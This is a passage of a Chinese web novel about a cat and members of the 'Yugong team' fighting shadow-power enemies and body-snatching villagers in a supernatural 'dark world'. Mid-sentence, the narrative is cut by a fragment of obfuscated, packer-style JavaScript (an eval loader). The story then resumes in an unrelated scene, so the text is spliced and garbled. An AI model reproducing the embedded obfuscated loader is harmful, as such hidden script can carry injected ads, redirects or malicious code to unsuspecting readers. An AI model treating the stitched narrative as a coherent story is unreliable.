薛静秋将他带入愚公小队,那些关于暗世界的知识,都是她传授。 “以前对它有很多称呼,元神、分身、仙术,但是,现在我们就叫它影子。”她张开手,掌心浮现一面小光盾,“影子有不同的形态,它会变成什么样子,取决于你的内心。这是我的影子,名字叫坚城,能够抵御一些伤害。” “内心?”他朝地上影子打商量:“你能变得强一点吗?” 然后他的影子就变成个银色小鸟,歪头啾一声,除了卖萌一无是处。 他沮丧叹气,“我的灵魂这么没用?” 小鸟:“啾啾!” 薛静秋笑了,“影子不分强弱,它能有多大用处,全看我们怎么使用。不管脆弱还是坚韧的灵魂,都有自己弥足珍贵不可替代之处。” “为什么我们在暗世界会觉醒影子能力?” “现在很多人都觉得,是受天上血月亮的影响,我们才会觉醒超出自然的力量。” “这样说,跑到月光里,不就可以觉醒超能力了,说不定还能进化成特别强的能力,你却叮嘱我看见月光要躲起来。” “已经有人实验过了。血月亮里的超凡力量并非常人能承受,普通人被月光照射,没多久就会全身融化,变成一滩脓血。” …… 好友的话在耳畔响起。 但现在情况紧急,何况说了赵队也不一定懂,他换一种通俗说法,“就超能力!我有超能力,敌人里也有个会超能力的,快跑。” “啾!” 夜忍挥舞双刀,蹬道出现一道刀风,小鸟仓皇挥动翅膀,鲜血霎时染红银白羽毛。它哀鸣一声身体失去平衡,眼看就要被旋风撕成碎片。 “啾?” 鸟被猫叼在了嘴里。 小咪纵身跳起,叼住小鸟,在空中翻了个跟头,正好避开刀风。 那一道风从它尾巴尖穿过,将地上青砖撕开,墙壁割裂一道长长的口子。 “喵?”小咪把小鸟放在地上,回头一看,尾巴毛顿时炸开,尾巴弯了起来,变成个蓬松的问号。 它漂亮的尾巴尖被削去了一截。 “哈——”小咪凶相毕露,朝墙上的瘦长影子凶狠哈气,雪白胡须颤抖,露出尖尖的小虎牙,“哈——” 在小鸟受伤时,夏炫“唔”了声,脚步踉跄一下,左肩出现同样一道深长的刀痕,血液染湿半边肩膀。他拿出一颗止痛药,囫囵咽下。 也幸好小猫及时把他的影子救下,不然,只怕他是一具尸体了。 没想到自己居然会被一只小猫救。 夏炫:“咪咪,你在哪?” 小咪没有回他,在攻击时,猫会成为最隐秘无声的猎手,时刻准备将敌人一击致命。 “哈!” 猫尝试把影子吓退。 但影子并不怕它,又举起了双刀。 一道刀风在狭窄的蹬道划过,撕裂一切。 “贴着墙。”夏炫喊:“你们看不见他,快点跑。” 对方的影子能力是进攻性,比他的小鸟强,最好的办法,是找到那名影子能力者,用枪将对方射杀。 可是野狗子军也知道这一点,把能力者藏在最后。 要突破他们的防线,很难。 赵保国不相信有超能力,可看见撕开青砖的风,和被劈裂的砖石时,也由不得他不相信,“超能力?你们这些奇人异士,也怕枪子吧。”他摸向自己的腰带,那儿藏着一枚手榴弹。 “赵哥,我们先跑。”夏炫又朝黑暗喊,“咪咪,你在哪?” “喵——” 角落响起猫叫。 夏炫顾不得危险,冒着枪子冲过去,把猫抱在怀里。 “喵呜。”小咪挫败地叫了一声,趴在他肩头,它用爪子挠墙,想把影子挠下来,可是没有用,爪子都挠秃了,连块墙皮都没挠下。 胡桃街战无不胜的老大,第一次感受到失败的滋味。 猫好弱。 小咪胡须微颤,沮丧叹气,但马上,它就瞪圆眼睛,闻到人身上传来的浓烈血腥气。 人受伤了! 又有人受伤了。 猫没有保护好自己的小弟,害人受伤了。 小咪喵喵叫起来,伸出舌头,努力给夏炫舔掉肩上的血液,可他流的血好多,猫根本舔不完,胸前蓬松的毛被血打湿浸透。 它沮丧地把尾巴垂下来。人很大,所以更笨重,比猫更容易受伤,幸好也因为人很大,身上的血很多,可以流很久也不会死。 “不要担心,咪咪。”夏炫听出猫叫声里的关切,心中一暖,低头用下巴蹭了蹭小猫毛茸茸的小脑袋。 他抱着猫往上跑,打算先跑到塔顶去找到文物,找到离开暗世界的门。 毕竟,他不是百年前的人,任务并不是消灭敌人,而是安全地带着小猫从门里出去,回到现实世界。 一行人仓皇往前逃命,野狗子军在后面追。 小咪趴在青年怀里,脑袋靠着他的脖子,歪头打量这一切,觉得好像又开始的时候,他们在前面跑,敌人在后面追。 好像在绕着圈圈。 绕圈圈? 猫的小脑袋歪了歪,尾巴晃动,想起橘狸白狸经常追着自己的尾巴原地绕圈的样子。 “喵。”它蹭夏炫的下巴,用尾巴勾住他的手腕。 “咪咪?” “喵!” 小咪用尾巴抽了下他的手背,再次绕住他的手,“喵!” 夏炫因失血体温急遽流失,四肢冰冷,好在怀里有只柔软的小猫紧挨着他,递来滚热的温度。小猫喵喵叫几声,他能感觉到,自己手腕被一条毛茸茸的尾巴缠绕。 小猫想要告诉他什么? “不对。”夏炫仰头看着前面台阶,“佳雪,你开始和我说,我们是塔的第八层?” 佳雪跑得气喘吁吁,闻言点头,“没错,我数了的,就是……”她也意识到不对劲,喃喃:“应该已经到塔顶了啊。” “刚才我们经过四扇窗,爬了四层,”野狗子还在后面撵得紧,夏炫边跑边说:“按理来说,这条蹬道已经到了尽头。” 这条路是死路,一旦到塔顶,就意味着他们将被敌人围堵,离死不远。 但蹬道无限循环也不是什么好事,难道要一直跑下去? 夏炫又跑过一个窗户,抬头往上看,台阶往上无限延伸。 时间是个循环,空间也是循环,难道…… 小猫用尾巴拍拍他的手背,又绕住他的手腕,“喵!” 夏炫:“谢谢你,咪咪,我明白了。只要——” “喵!”怀里小猫突然从他怀里蹿出,发出示警的喵叫。 野狗子兵的脚步声越来越近。 夜忍就紧紧跟在他们身后,时不时挥动双刀,一道极快的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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爆炸掀起的气流化作一阵狂风,把猫猛地掀翻起来,它“喵呜”一声,用爪爪扒拉住窗台,堪堪挂在塔上。 “喵。”小咪往下看一眼,尾巴炸开,变得粗壮蓬松。 它看不见塔的尽头。 猫知道,从很高的地方摔下去会死 ,幸好它平时经常飞檐走壁,前臂肌肉发达,可以轻松吊住自己小小的身体。 小咪伸出指甲,紧扣住琉璃砖的空隙。 它扒拉窗台,小脑袋打量塔里,听见青年熟悉的声音。 “喵!” 小咪正准备跳上去,这时,四周突然变成红色,仿佛蒙上层血红雾气。 一束月光照在它的身上,剧痛瞬间席卷全身。 小咪惨叫一声,爪爪失去力气,从古塔掉了下去。 “喵——” 猫在空中胡乱挥舞四肢,却找不到什么可以攀爬,只能不停下坠。 昏暗天空,那轮死气沉沉的诡谲血月从厚重乌云里露出一半,在天地挥洒着粘稠的腥血。 小咪感觉好痛好痛。 “呼噜呼噜。” 猫发出呼噜声不仅可以表达开心,当受伤时,它也会用这样频率的震动缓解自己的痛苦和紧张。 小咪从窗口看见夏炫的身影,一次又一次,它在一次次从一个窗口前坠落,下坠永不停息。 “喵呜——” 猫想提醒人类,可没有力气大叫了,它低声呜呜叫,痛得想把身体紧紧趴在地上。 被月光映在古塔上的小猫影子在不断下坠中连成一线,似墨水在琉璃砖上摊开,变形。 小咪没注意到影子变化,它感觉自己要死掉了。 40-50 第41章 “夏姐你你你——” 赵四嘴里还叼着刚才夏乐寻递的小饼干,目瞪口呆地看着女人,下意识咽了口口水。 手指蘸口水翻书,不是老年人的习惯嘛。 夏乐寻朝他们笑笑,往前翻一页,低头继续看赵荆玫的日记,她的视力似乎不大好,脸慢慢低下,继续贴着纸张,缓慢说:“她写,她根据同事的行为,找出几个没有被老鸹鬼替换的同事,她决定趁机带着他们逃出长寿村。” 赵四和文檀对了个眼神。 夏姐被替换了。 在长生树旁边,他们分开寻找门,可能是在那个时候被替换了? 文檀心揪起来, 想到刚才还和大家一起逃的夏姐遭遇不测就很难受,现在也不是哭的时候, 她注意到, 背包客已经提起旁边的包, 腿弯曲,蓄势待发的模样,她和赵四使了个眼色, 准备马上就跑。 夏乐寻放下日记,笑着问:“怎么啦?对了,你们说的门,是什么样子的啊?” 背包客甩动包,往她头上一砸,女人的脑袋被砸得偏向一旁,歪着脑袋,脖子仿佛折成两段。砸完,背包客身体一翻,跳出土坑。 “喵喵跑!”文檀抓住小咪,爬出土坑,跑了几步,她的步伐越来越慢,双腿软绵无力,身体栽倒在地。 糟了。 她也吃了夏姐递过来的零食。 夏乐寻歪着头,单手拎着软倒的主播,朝她走过来。 文檀眼前模糊,看见背包客头也不回地跑进林子里,四周簌簌作响,一只只人头怪鸟站在树上,冷漠地俯视着他们。 但喵喵还在她旁边,试图咬起她的后领,把她叼起来。 好像在叼幼崽哦。 文檀用力眨了眨眼睛,“喵喵,你先走吧。” 小咪的影子力气很大,可咬人类衣领把她提起来这个动作难度还是有点超纲。 也许不应该用嘴巴? 但猫就是这样的,猫提崽子也是叼后领。 小咪脑袋瓜子飞快转动,还没想明白,就已经被村民们包围了。她眨了眨眼睛,乖乖让他们抓住,给绑上了绳子。 反正村民们绑的不是猫,是它的影子。 等人走开,小咪从藤篓里钻了出来,跟在村民身后,思考该怎么把人类救出来。 一只漆黑的小猫大摇大摆地走在昏暗林子里,这群眼神不好的村民根本看不到。 文檀和赵四被丢在了长生树底下,一动不能动,小咪趴在杂草里,透过缝隙打量着他们。 文檀感觉自己浑身麻痹,四肢无法动弹,费劲扭过脸,发现赵四的情况比她还要糟糕一点。 主播连嘴巴都有点合不上,眼神呆滞,口水从嘴角淌下。 而另外一边,喵喵的情况却好像不错。 赵四吃了很多有问题的饼干,喵喵好像一口都没有吃。 文檀看着前面的村民,心想,他们为什么不马上对自己动手呢? 是了,灵魂互换过,他们会进入自己的身体。他们可能觉得被麻痹后,这幅身体存在问题,所以才打算后面一点动手。 大狗最先出事,或许是因为他身体好,在村民那边的评级比较高。 而且他们这群药业公司的人,也对长寿村这期节目拍摄没有太大的用处。 村民想要长寿村的节目完美拍完,并且神不知鬼不觉把所有节目组人员都换掉。作为最核心的赵荆玫,才会在最后一天、节目拍完后被替换。 那现在赵荆玫已经在爆炸的大巴里死去,为什么二十年前《玄机档案》长寿村还是播出了呢? 也许鬼域和现实世界是独立的,这样想,他们救赵荆玫根本没有意义,节目组只是NPC而已。 文檀思考着,看见一个人朝他们走过来。 来了——她心中一凛,突然意识到,如果身体状态越好的人,越会被优先替换,那此刻,最危险的是喵喵! “喵喵!”她疯狂想让身体动起来,“你得赶紧走,他们朝着你来的。” 少女就像呆了一样,坐在地上,圆眼睛茫然地睁着,里面什么神采也没有。 “喵喵,你现在能动吗?”文檀知道,喵喵的身体素质逆天的好,说不定能挣脱麻绳直接溜掉。 喵喵就是这样厉害! 可是喵喵现在的情况很奇怪,好像断线一样,不在状态里。她有点担心,“你刚才吃了夏姐给的东西吗?” 见那人越来越近,文檀心中愧疚更加浓烈,“都怪我,要不是为了救我,你就不会被抓住。” 来的村民是村头一个白发的老人,脸上几块老年斑,白内障让眼珠子蒙上层灰白的阴霾。 他腿脚不便,因此走得很慢,干瘪的嘴微笑,露出一嘴黑牙。 一想到这么一个丑陋的老男人,会进入喵喵的身体,文檀就一阵恶心。 “真是一具漂亮的身体。”老头抚摸少女的脸,如枯枝般的老手,爱惜地捧起她柔软雪白的脸。 他情不自禁地惊叹:“太漂亮了,太可爱了。” 赵四终于开口,见到这幕,脱口就是,“我草草草。” 想想以后一个霹雳无敌可爱美少女,里面住着个头秃牙黑的老头。 太惊悚了啊! 老人张开嘴,舌头从嘴里吐了出来,他的舌头很尖,像针管,缓缓刺入少女的眼球。 “把你的脑子吸出来,嘻嘻。”他咧嘴笑,“把你的脑子吸出来。” 这时,文檀才终于明白这些怪物怎么夺舍。一想到大狗也遭遇过这种酷刑,她撇了下嘴,有点想哭,又想刀了这群鬼东西。 她偏过脸,不敢往下看。 “嘶。”赵四倒吸一口凉气,眼睛也传来幻痛,几乎能想象嘴器从眼球滑入大脑,毒素融化骨头,将脑浆像果冻一样滋溜吸出来,于是人皮软软扁了下去,人才能从防盗窗狭窄的窗口挤出…… 吸脑子要这么久吗? 老人猛地将嘴器抽出,不可置信地看着眼前的少女,用力晃她的肩膀,“你怎么回事?你怎么没有脑子!你怎么没有脑子!” 小咪抄着爪爪趴在阴影里,心想,这可难为猫了,它是个影子,怎么可能会有脑子? 但气急败坏的老人猛地扭过脸,将阴冷的目光转向树下的另外两个人。 “既然她不行,你们就把身体给我吧。”他气得把吴喵的身体丢到一旁,脸凑到文檀和赵四之间,选来选去,最后选择了文檀。 文檀被扼住下巴,被迫注视这张丑陋变形的面孔,凸起尖锐的嘴器一点点逼近她的眼睛,她想要闭上眼,却被巨力提起眼皮。 尖锐的嘴器越来越近,圆圆的针尖,中间是空洞的,就像吸管一样,上面有零星的毛发。 尖端就快刺入她的眼球上时,突然歪了一下。 “大狗”拦住老人,“她弄坏了我的皮!”他扯开衣服,里面的皮肤被到划出个口子,“好不了了,她的身体得用来赔我。” 两个怪物意见不和,居然打了起来,“大狗”得了年轻力壮的优势,很快就把老头按在地上。 老头不甘示弱,褪去人皮,变成人头鸟从皮里钻出来,狠狠啄“大狗”这身新皮。 “老人头打架,”主播张大嘴,“家人们快来看呐。” 文檀嘴角微微抽搐,挪动身体,一下下往自己的包扭。突然,她感觉有什么在咬自己的绳子,低头一看,一只小黑猫歪着脑袋,雪白的小虎牙刺入麻绳里,努力想把绳子咬断。 猫咬咬咬。猫咬咬咬! “喵喵!”文檀脱口而出,又是这只神秘的小黑猫,她想到喊喵喵就和自己队友撞名字了,改口:“咪咪,你从哪来的?” “喵。”小咪轻轻蹭了下她的手,不仅用牙齿咬麻绳,还用后爪蹬绳子,嘴爪并用,想给人把束缚解除。 看小猫这么有灵性的样子,文檀把希望寄托在它的身上,压低了声音,“咪咪,我包里有一把刀,你能把它咬过来吗?” 她背包是针织的手提包,粉色,上面绣着一只小白兔,被随便丢在树旁的水渠里。 小咪钻到水渠,小心不让水打湿自己的爪爪,咬住提包的袋子。 小猫脑袋钻进包里,屁股扭了扭,咬住刀把钻了出来,叼起刀往树下跑。 “咪咪,快过来!”她和赵四期待地看着小猫。 但小咪叼着刀把从他们身边跳过去了。 “哎。”赵四失望地叹气,“不该把希望放在一只猫上的,猫能有多聪明?” 小猫好像听懂他的话,扭过脑袋,圆圆的眼睛气呼呼地看着他。 赵四:……能听懂人话?不是吧? 小猫丢掉刀,喵喵拳拍他的腿,拍得邦邦响。 大腿感受到猫厚实肉垫的弹性,居然有种诡异的幸福感。好想再被猫猫打一下! 赵四:“咪咪,我让你多打几下,快把刀给我们。” “咪。”小猫叼起刀,跑到自己的影子旁,拿爪爪在影子拍了一下。 吴喵握住了刀把。 但村民们已经围了过来,村长推着坐在轮椅的祖母走近。 村民自觉让开一条路,把村长围在中心,那两个老头也不打了,低着头,一副做错事小孩的模样。 祖母开口,声音沙哑,“既然都想要,待会再抓一次阄吧,都活得这么多年,还像个小孩一样争来争去,有什么意思。” 她抬起脸,看着冠盖苍郁的大树,“等这期节目播出去,还愁没有新鲜的身体吗?” “这群老东西,心里打的是这个念头!” 两个人被捆住的人顿时明白这档节目目的,和刚进入村庄时,村民们表现出来的格外热情了。他们不仅想要节目组的身体,还想让长寿村出名,从而吸引源源不断的游客来这里,诱捕更多优质的“身体”,供他们食用替换。 这个世界上会有多少“长生人”? 村长推着祖母到树下。仿佛从坟墓爬出的老太太低着脸,点评着被捆在树根的人类。 “这个太丑。头发五颜六色,像什么样子。” 赵四垮起脸,也不管害怕了,“你这个封建余孽,老古董,哪里懂潮流!家人们都夸我很潮!” 然后他的嘴巴就被塞了一团泥巴。 老太太浑浊的眼睛从文檀身上掠过,停在吴喵身上。 “不是说要那个主持人的身体吗?”村长问。 “这个姑娘更好。”老太太瘪着嘴笑,打量着少女年轻的身体,布满褶皱的脸靠得越来越近,“漂亮,机灵,身体好,一口气能翻十几个跟头呢。” 其他村民纷纷点头。他们这一大把年纪,骨松腿僵,根本抵挡不了翻跟头的诱惑。 “奶奶,她不行。她没有脑子!” “什么没有脑子?” 下一秒,一颗苍老的头飞了起来,脸上五官凝结着错愕的表情。 少女身上的绳子滑落,她握住刀,站了起来,挥舞剔骨刀,刺进村长的胸口。 “喵喵大佬救救救!”赵四在后面喊。 小咪把他们身上的绳子劈断,用刀指着树,“人,爬上去!” 说完,她扭过身体,转身面对满村的村民,手里剔骨刀淅沥滴血。 其实猫更习惯用牙齿、指甲去战斗,但她发现,刀好像杀伤力更大。 猫也要像人一样,学会使用武器。 她用武器不太熟练,胜在动作非常迅速,又把刀插进村民的胸膛里。 这些村民并不是人,刺一刀不会使他们死去,但他们对失去皮囊这件事特别在意,不敢靠过来。 小咪回忆孙菱在擂台上的模样,甩了下刀,刀光如雪,血珠飞溅。 猫觉得很酷! 突然,小咪的视野急遽倒转,眼里的世界天翻地覆,地面在头顶,天空在脚下,那些村民仰起面孔,和她面对着面。 一根绳子从树上伸出,捆住了她的手脚,刀也掉在了地上。 文檀和赵四也被绳子捆起来,倒挂在树上。 老槐树上长出无数根麻绳,绳子轻轻晃荡,几个人也跟着摇摆。 村民们窃窃低语,声音传入猫灵敏的耳朵里,“他们被树抓住了。” “长生果快结出来了。算了别管这么多,先把那些人推过来。” 他们一哄而散,没多久,把十几个老人推到树根,又飞快散开。这些老人瘫痪在轮椅上,身体无力,眼睛并不像村民那么浑浊,却都没什么神光。 小咪认出来熟面孔,他们都是“老年痴呆”的老人们,不过这些苍老无力的身体里,现在应该装的是年轻的灵魂。 “狗子,狗子!”文檀扭动身体,“你在吗?” 天色渐暗,世界一点点被黑暗蚕食。 天黑得很快,村民们举起火把,红光照在一张张苍老诡异的脸上。他们仰起头,表情期待兴奋。 一根绳子从树枝掉了下去。 这时小咪看清楚了,麻绳就好像从槐树上长出来的,像一根触手,飞快地垂下去。在绳子顶端有一个圆环,环准确套进老人的脖子上。 一个又一个的人被吊了起来。 “狗子!”文檀用力扭动身体,哭着喊。 装着大狗灵魂的老人也被吊在树上,身体颤抖几下,就没了动静,悄无声息地挂在树上。 风吹过,一个个老人轻轻在风里摇摆,当月光照在他们身上时,尸体变成一颗颗青色的果子。 村民们贪婪地望着果子,手里拿着长杆和藤篓,杆子一敲,果实就从树上掉下来。 就在快被他们用藤篓接住时,背包客突然冲过来,把果子塞进自己的包里。他飞快爬到树上,拿出一把小刀,麻利地割下长生果。 赵四喊:“大佬救救救!” 背包客刀一甩,麻绳断裂,几个人跟下锅饺子一样往下落。 他们是倒悬在树上的,掉下去头正好着地,赵四眼看地面越来越近,正要感慨我命休矣时,后腿被人一抓,重新给提到了树枝上。 “谢谢喵喵!”赵四张开双臂想给喵喵一个爱的拥抱,又被一脚踹下树,“啊!” 小咪下意识蹬在他脸上—— 猫经常被室友强吻强抱,当它不乐意的时候,会用后腿使劲踹人的脸。 室友也很享受被踹的过程,会发出变态的声音,“嘿嘿嘿,好爽,咪咪再蹬我一下。” 所以看见赵四扑过来时,她本能地抬腿,忘记自己处于人类形态,以及拥有可怕的力量。 小咪低头往下看,主播呈大字状躺在泥巴里,四肢轻轻抽搐。 “喵……”她呆住了,微微张开嘴,歪头蹭了蹭旁边的树枝。 “你也是猎人?”背包客拎着一袋果子,警惕地看着她,“也为长生果来的?雇主给你开价多少?先说好,我是不可能给你的。” 小咪歪头,呆呆打量他,“猎人喵?” 猎人……她陪室友看电视时见过这个词,猎人会抓猎物,猫也能抓耗子,蛇,虫子。 小咪点头,确认:“喵是很厉害的猎人!” 超厉害的。她可是胡桃街老大! 背包客听到这话,脸上表情微变,打量着她,评判她的实力,片刻,他从包里掏出一颗果子,丢给小咪,“大家都干一行的,这一颗给你……” “喵?”小咪抓住了果子,歪头打量。 长生果像个青色的苹果,青色果皮隆起,有一张无声尖嚎的年轻的人脸。 背包客确定她是自己的同行了。长生果不能用手接触,而她早就做好准备,全身都裹得严严实实,连手上都戴着黑色手套。 讲究! 考虑和这个同行交手,自己可能损失的果子更多,他又丢了颗长生果给她,“我的影子快失效了,等会我们合作,一起从这群怪物里冲出去,我找到门了,在后山一口枯井里。” 小咪把两颗果子丢进篓子里,“好的喵。” “准备好。”背包客拔出一把刀,“它们快冲进来了。” 长生树像是被个透明的大罩子给罩住,一只又一只人面鸟在空中盘旋,怨毒地盯着树上的人。它们振动翅膀,飞上高空,又从天空笔直俯冲。 小咪听见什么东西碎裂的声音。 背包客脸色一白,跃下树枝,“跑!” “嗷。”小咪低头,本来想叼住人类的后领,想到前面的教训,改成抓住文檀的手,带她跳下了高大的老树。她又尝试提起摔得动弹不得的赵四,于是背包客跑出几米后,一回头,看见少女还蹲在主播旁边,用力拽人。 他气得喊:“你管他们干什么?” “喵要保护人!” 背包客挥舞刀,“你的能力呢?” 小咪眨了眨眼。第二条命的能力是给死物注入生命力,可是她看了圈周围,想不出有什么能让自己使用能力的东西。 这也太为难猫了。 但咪有矫健的身姿,她捡起地上的刀,蹿起三米,一刀割下老鸹鬼的脑袋。 背包客张大嘴巴,好半天,才说:“牛。” 四周老鸹鬼越来越多,将小咪团团围住。小咪只有一把刀,劈不走这么多鬼,情况越来越危险。 “喵喵,你别管我们了,先跑吧!” 好几次,文檀都看见老鸹锋锐的爪子勾住了少女的身体,她不能相信,一身黑衣下面会有多上伤痕。 她红着眼睛,擦脸上的泪水,“你可以跑掉的,喵喵。” 小咪只是目光紧紧地锁定人头鸟,猛地跃起,将剔骨刀劈向它们。不管是尖锐的指爪,还是锋利的嘴器插进它的身体,就像插进一团水里,对她造成不了一点伤害。 至于猫的本体。 它趴在树枝上,揣着爪爪,身影融入夜色里,低头俯视着乱局。 “她不是人!”地上的老人头气得大喊:“别耗在她身上,快点把其他人都杀了,都杀了!” 老鸹鬼改变方向,朝着三个人类疯狂进攻,小咪用刀驱赶,但很难完全护住他们。 保护好体型这么大的人类,对猫来说,是件不容易的事情。 没多久,赵四和文檀身上就见了红,被鸟爪勾得伤痕累累。小咪在旁边保护,护住了他们的要害。 忽然之间,树上的小猫歪着头,看见一道身影摇摇晃晃地走了过来。 赵荆玫手里提着一桶液体,面无表情地穿过灌木丛,将液体倾倒在树根。 具有强烈刺激性怪味的气体飘进猫的鼻孔。 所有的老鸹鬼都在围攻小咪,没有人注意到,如墨夜色里,女人去而复返,在长生树下洒了一桶汽油。 她拿出了打火机,往树下一丢。 火焰冲天,明亮的红光照在女人的身上,她赤着脚,身上很多血,雪白脸颊灰尘扑扑,不复镜头前的光鲜。 她眼里火光腾腾,嘴角扬起,朝天上惊慌失措的老鸹鬼们大笑,就好像一株鲜艳美丽的玫瑰,终于露出自己尖利的刺,谁想摘下,就会被刺得鲜血淋漓。 “来啊!来啊!”她绝望地大声喊。 等来的是一只从天而降的小猫。 “喵啊!” 小咪朝她拖长了声音大声叫。 火差点烧到猫的尾巴了! 玩火,危险!危险! 人,不要随便玩火! 第42章 长生树被烧毁,老鸹鬼陷入疯狂,尖叫悲嚎,身体扑向火焰,宁愿染上火焰,也要扑灭大火。 “爽了。”赵四喃喃:“这些鬼东西还知道怕。” 赵荆玫抱着小猫,怀里柔软温热的一团小东西趴在她的胸口,用毛绒绒的脑袋拱着她的下巴。 “又是这只神秘的小猫。”文檀费劲拉起赵四,朝女人招手,“趁着它们没功夫管,我们得赶紧跑。” 小咪:“到后山,枯井,门在里面喵。” 文檀:“那口井?我见过,我带你们去。” 麻药的效果逐渐褪去,文檀和赵四搀扶着,艰难地往前跑。 远方黑夜又亮起火光,一间间屋舍烧了起来, 村庄陷入大火之中。 “你还放了火吗?”文檀问。 赵荆玫没有回答, 只是紧紧抱住怀里的小猫。 老鸹鬼们看着大树付之一炬,疯狂嚎叫,“杀了他们!杀了他们!” 几个人在老鸹鬼的追杀下开启逃生模式,没逃多久,就被它们重重包围起来。村民们撕掉身上的面具,露出自己本来模样,大鸟展翅在天空密密麻麻地飞,鸟身上的老人头阴沉地盯着他们。 一只又一只人头鸟飞过来。 小咪拿着刀,跳起来砍向它们。长生树被烧掉后,这群鸟陷入癫狂里,不再害怕皮囊被刀劈,不要命地扑向人群,不杀几个人死不罢休的样子。 很快,文檀和赵四就被利爪勾住了身体,抛向天空。 老鸹鬼飞快拔高,爪子一松,把几个人当沙包一样在高空抛来抛去。小咪趴在赵荆玫的怀里,脑袋搭在她的肩膀上,往下看一眼,就有点害怕地把脑袋缩回来。 好高。 让咪想起从燕子塔无限下坠的情形。 它飞快往下面坠,快要着地时,又被一只老鸹鸟接住。这些老鸹鬼把怨气和怒火都撒在他们身上,一定要这样把人抛来抛去来发泄怒火,最后将人摔成肉饼才罢休。 赵荆玫环住小猫,她能感觉到怀里的小猫在害怕,毛绒绒的小身体在微微发抖,它用爪爪抱住她的一条手臂,就算在害怕,也没有露出自己的锋利指甲,只是用温热厚实,带有弹性的粉红肉垫,轻轻抵在她的皮肤上。 风声簌簌,她们在高空不停下坠,风像刀刃割破皮肤,遽然下坠又拔高,内脏好像被反复拉扯,空气仿佛冰冷的潮水流入五脏六腑,呼吸短暂停滞。她手脚冰凉,情不自禁地想象,自己像个熟透的果子,“咚”一下摔到地面,爆开鲜红的汁水。 赵四在喊:“啊啊啊!啊啊啊!跳楼机也没这么刺激啊!” “砰”一声巨响,空中灿烂的火光爆开,一只老鸹鬼好像被什么东西击中,凄厉惨叫,坠向地面。 被它抓住的人也啊啊啊往下掉。 小咪眼睛睁圆,“咪!” 它看见远处驶来一辆熟悉的大巴。 大巴停在马路旁,长生树升起的火焰点亮它刚刷好的金漆。门打开,几道熟悉人影迈下车。 萧向秦走在最前面,长腿一迈,踏在田垄上,手拿着一把漆黑的冲锋枪。他的枪和现实枪械不太一样,不合乎机械原理,枪管前段浮着密密麻麻上百的枪口,像虫巢,又像苍蝇的复眼。 他将枪对准天上的老鸹鸟。 “队长,还有人在上面!先别用钢铁之柱。” 小咪耳朵一抖,听见“砰”一声巨响,接着从空中急遽坠落,爪爪飞舞,它在空中转了身,确保自己下坠时是爪爪着地。 下一秒,它掉在人类温暖的怀抱里。 “咪咪,”夏炫抱住小猫,使劲蹭它柔软的肚子,“吓死我啦。” 抓着人的老鸹鬼被子弹击中,几个人陆续往下掉,都被愚公小队接住。 飞舞的老鸹鬼察觉到危险,扭头往远处飞,但是太晚了,萧向秦抬起手,扣动扳机。 枪口炸开一串火红爆闪,吐出火舌,像是地狱之火倾巢而出。 哒哒哒—— 密集短促的子弹尖啸混杂着老鸹鬼的惨叫,漆黑的天空被火光染红,变成羽毛、血肉翻飞的墓地。 火与铁织成一张死亡之网,整个天空都被一网打尽,天上的老鸹鬼翻腾挣扎,也只是在网里被绞成齑粉。 “太帅了。”夏炫贴心地给小猫捂住耳朵,感慨:“这是我们队长的影子,钢铁之柱,很酷是吧。要是我影子能有这么厉害就好了。” 真的,他想不通。 别人的影子掏出来是冲锋枪,他的掏出来是只啾啾叫的小鸟。 人比人,气死人。人比猫,也气死人! 他家咪姐也很厉害呢。 猫透过人的手指缝隙,看向前方。 火舌突突从枪口喷出,萧向秦拿出一根烟,食指中指夹住烟,借枪口吐出的火焰点燃,橘红色的星火点亮漆黑的眼睛。 他似乎感觉到什么,偏头看过来,漆黑瞳孔倒映出一只圆圆的小黑猫。 黑猫越来越近,嗒嗒朝他跑过来,然后一跃而起,抬起爪爪。 “啪。” 萧向秦偏过脸,点燃的香烟被打掉在地。 “喵。”小咪大声朝它叫。爷爷教过猫,吸烟有害健康。 萧向秦被小猫扇一巴掌,也没生气,顺势弯下身体,给它捂住了耳朵。 小咪任由他将温暖手掌覆盖着耳朵。子弹尖啸声被宽厚的血肉隔绝,尖锐声音不再刺耳,钻进猫耳朵里时,变成滂沱而密集的雨点声。 它亲昵地蹭了蹭人的手。 这辆大巴被愚公小队收编了——小咪趴在人的怀里,它不明白收编的具体语意,但从夏炫的话,还是能猜到大概的意思。 本来愚公小队打算把幽灵大巴当做污染物处理掉,但听叶子静讲述大巴上遭遇后,发现花花老师他们不是想害人,只是被深渊的人控制住了。 所以他们和花花老师沟通,将大巴收编,小咪看见车被装潢一新,也是来源于此。 大巴能在暗世界和现实世界行走,更方便愚公小队工作。 “说起来还要靠我们咪咪呢。”夏炫揉了揉小猫的脑袋,“不然花花老师就没这么好说话啦。” 愚公小队能赶到长寿村,也是因为幽灵大巴及时报信。 “呼,总算捣了这鬼巢。” 车门打开,夏炫抱住小咪,“咪咪,快回去吧,老师会担心你的。我说你这只小猫,怎么又遇到这种事啦?” 进暗世界的频率高得过分了。 小咪从他怀里跳出来,仰头看着赵荆玫。 赵荆玫低下脸,静静与小猫对视。 “喵!”小咪蹭她的腿。 人,喵带你回家! 赵荆玫脸上浮现复杂的笑容,努力扬起唇,嘴角却忍不住颤抖,漂亮的面孔有血一点点渗出,“喵喵,我回不去了。” 小咪歪着脑袋,一瞬间,面前美丽的女人仿佛全身的皮都被剥去,变成了血人,地上绽开点点鲜红。 “赵荆玫,二十年前,你死在了这里。”萧向秦说的是陈述句。 “嗯。” 二十年前,《玄机档案》节目组来长寿村拍摄节目。在三天时间里,她熟悉的好友同事被依次替换。 她发现了异常,决定带仅剩的几个同事逃离长寿村。 但还是没能逃离。当大巴翻倒,她一身是血从窗户爬出来时,车里的人已经被厉鬼替换。 她躲在草丛里,看着熟悉的人站在路上,到处寻找她的下落。那些人明明有一样的面孔,她却清晰的知道,里面已非故人。 “小玫瑰一定会成为台柱子,让我们一起唱铿锵玫瑰!” “才不是花瓶,总有一天,大家都能看见你的能力。” “小赵,我拦住这些东西,你快跑!” …… 不把她当做花瓶,看见她的能力,会一起激励陪伴的朋友,永远地死去了,变成不人不鬼的怪物。 这些鬼东西还要披着他们的皮囊,盗用他们的身份和人生,继续在人间生活。 那一瞬间,她心里的愤怒超过恐惧,避开厉鬼,找到一桶汽油,点燃了长生树,却被村民们报复,留在了这里,变成游荡在鬼域的无主灵魂。 她弯下身体,摸小猫暖烘烘的脑袋,柔软顺滑的绒毛从指尖滑过。 